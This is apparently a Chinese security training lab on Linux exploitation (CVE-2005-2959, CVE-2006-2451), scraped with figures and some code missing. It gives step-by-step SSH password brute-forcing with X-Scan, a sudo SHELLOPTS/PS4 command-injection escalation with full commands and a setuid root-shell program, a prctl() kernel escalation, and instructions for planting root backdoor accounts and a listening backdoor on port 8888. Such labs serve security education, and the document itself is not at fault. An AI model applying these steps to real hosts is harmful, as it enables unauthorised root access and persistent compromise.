Linux漏洞利用.
- 格式:doc
- 大小:491.50 KB
- 文档页数:31
Linux漏洞利用(CVE-2005-2959、CVE-2006-2451)(SEC-L05-001.1)Linux 操作系统是一款开源的类UNIX操作系统,有多种发行版(Distributions),如RedHat Linux、SUSE Linux、Debian Linux等等等等。
这些发行版在系统安装、包管理、桌面应用等方面各有特色,但是其操作系统内核(Kernel)均来自于一个组织(),该组织负责Linux内核的更新、发布。
在部分已发布的内核版本中,存在一些严重影响操作系统安全的漏洞,Hacker 或Cracker通过利用这些漏洞达到入侵并控制目标主机的目的,Cracker 甚至会通过这些漏洞入侵有问题的主机及该主机所在网络,以达到窃取保密信息、散播蠕虫木马、发起DDOS攻击等目的。
实验目的•通过2种不同漏洞的利用(内核调用漏洞及系统工具漏洞),对普通帐号进行本地提权,通过实际操作增加实验者对网络安全及主机操作系统安全的认识,对希望成为合格的SA(SystemAdministrator & Security Administrator)的实验者进行系统漏洞类的部分基础知识介绍。
实验拓扑实验准备•熟悉了解相关的实验工具,掌握Putty,Putty SFTP,X-Scan等工具的使用,操作下载实验中使用的工具:Putty(putty.exe)及Putty SFTP 工具(psftp.exe)、SSH口令在线扫描工具X-Scan 、演示后门程序ndoor。
【说明】putty.exe一个小巧实用的远程登录客户端,支持多种协议。
psftp.exePutty 工具集中的一个支持SFTP 协议的客户端,用于通过SFTP协议上传下载文件。
x-scan一款免费的网络扫描器,我们使用它的在线SSH口令扫描功能。
ndoor用于演示的一个简单后门。
远程SSH服务口令暴力破解步骤说明:了解使用X-Scan扫描工具,探测被攻击服务器的SSH服务,实现口令自动猜测攻击1.运行xscan_gui.exe 启动X-Scan程序。
2.选择菜单设置-> 扫描参数,弹出参数设置窗口,左侧选中检测范围选项,在右侧的“指定IP范围”下的文本框中输入目标主机IP地址,如:图1图13.点开左侧的全局设置,进一步设置参数,选中左侧的“扫描模块”,在右侧仅选中SSH弱口令,如:图2图24.为了加快扫描速度,适当增加扫描线程数,点击左侧的“并发扫描”,在右侧的ListBox中将ssh的扫描线程数修改为30全局设置,如:图3图35.点击左侧的“其他设置”,在右侧中仅选中“无条件扫描”,如:图4图46.点开左侧的插件设置,选中“端口相关设置”,在右侧的“待检测端口”下的文本框中输入SSH服务的默认端口号22,如:图5图57.选中左侧的“字典文件设置”,双击右侧的“SSH密码字典”及“SSH用户名字典”,分别设置为ssh_pass.dic 及ssh_user.dic,最后点击“确定”关闭参数设置窗口,如:图6图68.点击绿色右三角图标开始扫描,扫描完成后,如:图7图79.扫描完成后会自动打开系统默认浏览器显示扫描结果,在X-Scan 工具主窗口也可以看到相应结果,在左侧窗口中“/” 前面是用户名,后面是密码;在“安全漏洞及解决方案”列中,“/” 前面是用户名,后面是密码,如:图8图8Linux本地提权1:利用内核调用漏洞(prctl()调用)步骤说明:使用Putty 工具用普通帐号登录远程系统,利用exploit程序以达到提权目的。
1.用第一步获取的账户tester(对此帐户进行提权)登录远程主机,如:图9图92.创建编写提权代码文件,如:图10命令格式:[tester@LT-courseware-0007~]$cat > ex.c << _EOF图103.输入提权源代码,如:图11代码内容如下:#include <stdio.h>图114.编译提权代码文件,并查看编译后的文件属性,如:图11命令格式:[tester@LT-courseware-0007~]$gcc -o ex ex.c[tester@LT-courseware-0007~]$ls -al ex注:•在使用cat命令进行文件编写时,文件内容输入完成后,必须在输入的最后一行后另起新行(敲Enter键),输入cat命令行中最后的重定向符号(<<)后跟随的自定义结束标记以告诉cat程序输入已结束。
•一般习惯上用包含EOF这三个字符的字符串做结束标记,如图11中定义的结束符为_EOF。
•cat 输入过程是行输入模式,即在一行未结束时(未敲Enter键)时,可以编辑修改当前行内容(在大多数shell下都是用delete键从当前光标处向前删除单个字符),一旦新起一行,则上面已输入的行在此次编辑中无法再被更改,因此要谨慎输入。
5.执行编译后的可执行文件,进行帐户的提权,如:图12命令格式:[tester@LT-courseware-0007~]$./ex图12【说明】因为该exploit 利用了系统进程crond的定时执行特性,因此执行 ./ex 后需要等60秒,然后将获得一个root shell。
6.查看当前用权限状态,如图14所示,显示当前的euid 已经是0了,如:图12 命令格式:7.进一步提权,如:图13a). 编写新提权文件ex2命令格式:代码内容如下:b). 编译提权文件ex2命令格式:c). 执行提权文件ex2命令格式:sh-3.00# ./ex2d). 查看当前用户状态,可以看到当前的uid 已经是0 了,即获得了root shell命令格式:sh-3.00# id图13【说明】至此,利用内核调用漏洞进行Linux本地用户提权成功,已经在tester帐户环境下获取了root shell (即获得了拥有root权限的shell)。
Linux本地提权2:利用系统工具漏洞(sudo)步骤说明:通过利用系统工具漏洞进行Linux本地帐户提权,以另外的方式再次实现对本地用户提权进行实现。
1.用第一步获取的账户test(对此帐户进行提权)登录远程主机,如:图14、图15图14图152.切换到c shell,如:图16命令格式:[test@LT-courseware-0007~]$csh图163.创建辅助脚本及提权源代码,如:图17命令格式:[test@LT-courseware-0007~]$cat > ex.sh << _EOF 辅助脚本代码内容如下:#! /bin/bash -xecho命令格式:[test@LT-courseware-0007~]$cat > ex.c << _EOF 帐户提权代码内容如下:#include <stdio.h>int main (void) {setuid(0);system(“/bin/sh”);return(0);}图174.准备辅助脚本,编译提权代码,如:图18a). 为辅助脚本ex.sh文件添加执行权限命令格式:[test@LT-courseware-0007~]$chmod u+x ex.shb). 编译提权源代码文件命令格式:[test@LT-courseware-0007~]$gcc -o ex ex.cc). 查看文件属性,ex.sh 脚本具有了执行权限,ex 可执行程序的属主为test,组也为test 命令格式:[test@LT-courseware-0007~]$ls -al ex.sh[test@LT-courseware-0007~]$ls -al ex图185. 设置环境变量,利用sudo 的漏洞改变ex 可执行程序的属主和组,同时为其设置suid,我们可以看到,ex 可执行程序的属主改变为root,组也改变为root,同时设置了s位,如:图19命令格式:[test@LT-courseware-0007~]$setenv SHELLOPTS xtrace[test@LT-courseware-0007~]$setenv PS4 '$(chown root:rootex;chmod u+s ex)'[test@LT-courseware-0007~]$sudo ./ex.sh查看提权文件ex的文件属性,ex 可执行程序的属主改变为root,组也改变为root,同时设置了s位命令格式:[test@LT-courseware-0007~]$ls -al ex图19注:•若执行“sudo ./ex.sh” 后提示输入密码,则输入test 账户的密码。
6.执行 ./ex 进行提权,我们可以看到,当前的uid 已经是0 了,即获得了root shell,如:图20命令格式:[test@LT-courseware-0007~]$./ex图20简易后门制作1: 添加/修改帐户,将后门程序作为默认shell步骤说明:一般来说,Hacker或Cracker入侵了目标系统后,为了下次能够顺利进入,都会留下再次进入该系统的后门(backdoor)。
后门的种类多种多样。
1.在刚才获取的root shell 权限的帐户test中,切换当前目录为/bin命令格式:sh-3.00# cd /bin2.创建后门程序,如:图21命令格式:sh-3.00# cat >bd.c << _EOF后门程序代码如下:编译后门程序bd.c文件,并将原bd.c文件删除命令格式:3.添加账户或修改当前账户,并将该账户的shell 设置为后门程序以直接获取root shell命令格式:【说明】图中红色框内的内容为创建后门程序,黄色框内的内容为添加一个账户,并设置该账户的home目录为/tmp,登录shell为刚才创建的后门程序,帐户添加成功后用passwd 命令设置为其密码。
图214.使用新创建的帐户testbd进行登录测试,启动一个新的Putty 窗口,输入添加帐户testbd时设置的密码,登录后输入id 查看用户权限:root shell,如:图22图22【说明】至此,已经完成帐户添加/修改简易后门程序制作,使得新添加,修改的帐户直接拥有默认的root shell权限。
不需要再通过本地提权方式进行提权后在获得root shell 权限。
简易后门制作2:将后门程序设置为自启动,通过网络登录步骤说明:在目标机器上运行演示后门程序ndoor ,监听tcp端口8888,用于以后直接远程端口访问。
1.保持刚才获取的root shell 窗口打开;后面需要使用此窗口。
2.在本机启动putty sftp 服务器端软件工具,上传后门文件(ndoor.bz2),如:图23命令格式:psftp> open 目标主机IP【需要输入用户名以及密码】psftp> lcd 切换本地目录到ndoor.bz2 文件所在路径psftp> put ndoor.bz23.查看上传ndoor.bz2文件是否已经存在,并退出psftp命令格式:psftp> ls *.bz2psftp> exit图23【说明】若连接时弹出证书窗口,则点击yes或者确定接受证书。